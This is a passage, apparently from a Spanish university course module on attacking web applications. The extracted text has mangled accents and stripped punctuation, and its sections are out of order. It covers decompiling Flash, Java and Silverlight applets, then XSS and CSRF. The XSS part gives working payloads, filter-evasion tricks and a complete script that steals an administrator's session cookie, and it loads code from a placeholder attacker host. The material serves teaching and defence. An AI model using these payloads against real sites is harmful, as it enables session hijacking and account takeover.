coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 9: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web

bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se

menciona Nos encontramos con una paacutegina web que dispone de busca-

dor el cual al introducir una palabra inventada o una cadena aleatoria de

caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados

para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en

el campo de buacutesqueda

Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-

cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es

vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten

no son permanentes

XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo

Javascript en una aplicacioacuten web lo que permite realizar una serie de

acciones maliciosas en la misma

Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-

nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que

anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo

se ha escrito en alguacuten campo donde queda almacenado en una base de datos

de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina

Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En

estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque

Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute

ser algo similar a

httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt

Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga

clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea

ya a otro aacutembito de estudio como es la ingenieriacutea social

111 Ataques

Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que

pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-

mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante

y las funcionalidades de la aplicacioacuten objetivo del ataque

bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-

rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha

logrado que un usuario administrador ejecute nuestro coacutedigo Javascript

las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible

por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a

generar una cuenta de administrador con los datos que nosotros especifi-

CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web

quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de

administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil

especiacutefico del usuario en el sitio web

bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing

Mediante Javascript como hemos visto podemos modificar el comporta-

miento y la apariencia de una paacutegina web Esto permite crear un formula-

rio de login falso o redirigir el submit de uno existente hacia un dominio

de nuestro control

bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-

nicas que explotan vulnerabilidades XSS

bull Por otra parte aunque menos habitual es posible realizar un ataquedede-

negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)

Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-

gan un uso intensivo de recursos muy costosos en ancho de banda o ca-

pacidad de procesamiento de un servidor de forma asiacutencrona

bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga

dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-

cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red

social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo

Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita

otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-

cacioacuten en los perfiles afectados

Como se puede comprobar las posibilidades que ofrece el XSS son realmen-

te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar

coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no

permite el acceso a ficheros del sistema y a las propias funcionalidades que

ofrezca el sitio web objeto del posible ataque

112 Meacutetodos para introducir XSS (cross site scripting)

Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-

cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas

de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo

malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las

zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo

Javascript introducido

bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo

Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-

cutar

(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal

CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web

ltscriptgtalert(iexclHola Mundo)ltscriptgt

bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-

putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-

cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos

lo habitual es que el teacutermino introducido se copie dentro del campo del

buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-

tinuacioacuten

ltinput type=text name=q2 value=[busqueda] gt

Como se puede observar nuestro coacutedigo queda situado entre unas comillas

dobles de un atributo perteneciente a una etiqueta HTML que no permiten

que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la

que nos encontremos y posteriormente insertar el coacutedigo Javascript

gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=

Esta seriacutea la combinacioacuten resultante

ltinput type=text name=q value=gt

ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt

Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para

evitar de este modo que el coacutedigo HTML quede malformado

bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser

comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten

dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-

trar en una situacioacuten de este tipo es el siguiente

lt-- La busqueda fue [busqueda] --gt

Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-

te caso se deberiacutean cerrar los caracteres de comentario HTML introducir

nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios

HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse

perfectamente con el coacutedigo original de la paacutegina

--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-

Esta podriacutea ser la combinacioacuten adecuada

lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt

lt-- --gt

CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web

bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-

do las paacuteginas utilizan datos introducidos por el usuario para generar al-

guacuten tipo de evento personalizado o para almacenar datos que se van a usar

posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea

como la siguiente

ltscriptgt var busqueda = [busqueda] ltscriptgt

En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-

demos directamente introducir el coacutedigo Javascript como se refleja en la

siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-

tante cuando sea necesario evitar los filtros anti-XSS que las eliminan

alert(iexclHola Mundo)

Hemos utilizado las barras al final de la sintaxis para lograr que el resto de

la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-

tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-

do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML

debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores

no lo ejecutaraacuten

ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt

bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-

nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye

dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-

tido del supuesto de que no existen filtros anti-XSS implementados Jun-

to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de

coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP

113 Diseccionando un ataque

Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un

ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-

okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten

consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador

uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-

lizamos hacia un servidor Este identificador asociado a un usuario que se ha

ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-

denciales para cada paacutegina que el usuario visita dentro de un mismo dominio

Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos

al servidor este nos asociaraacute en todo momento al usuario al que estamos su-

plantando

CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web

El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en

una paacutegina web es localizar zonas funcionales de esta que permitan la intro-

duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente

si queda almacenado en una base de datos o bien de forma no permanente

si no es asiacute

En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio

de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible

ataque XSS

Figura 2 Enviacuteo de mensaje

Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo

de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una

serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres

a introducir seriacutean

bull Comilla simple (lsquo)

bull Comilla doble (ldquo)

bull Siacutembolo de mayor que (gt)

bull Siacutembolo de menor que (lt)

bull Barra ()

bull Espacio ( )

Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-

sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar

su existencia de forma totalmente definitiva siempre existe la posibilidad de

encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras

clave como script onload o javascript

En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-

raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-

queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-

mer ataque de XSS

En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-

luser De este modo todas las pruebas que realicemos se enviacutean directamente a

este usuario evitando alertar al usuario administrador En el campo del Cuer-

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

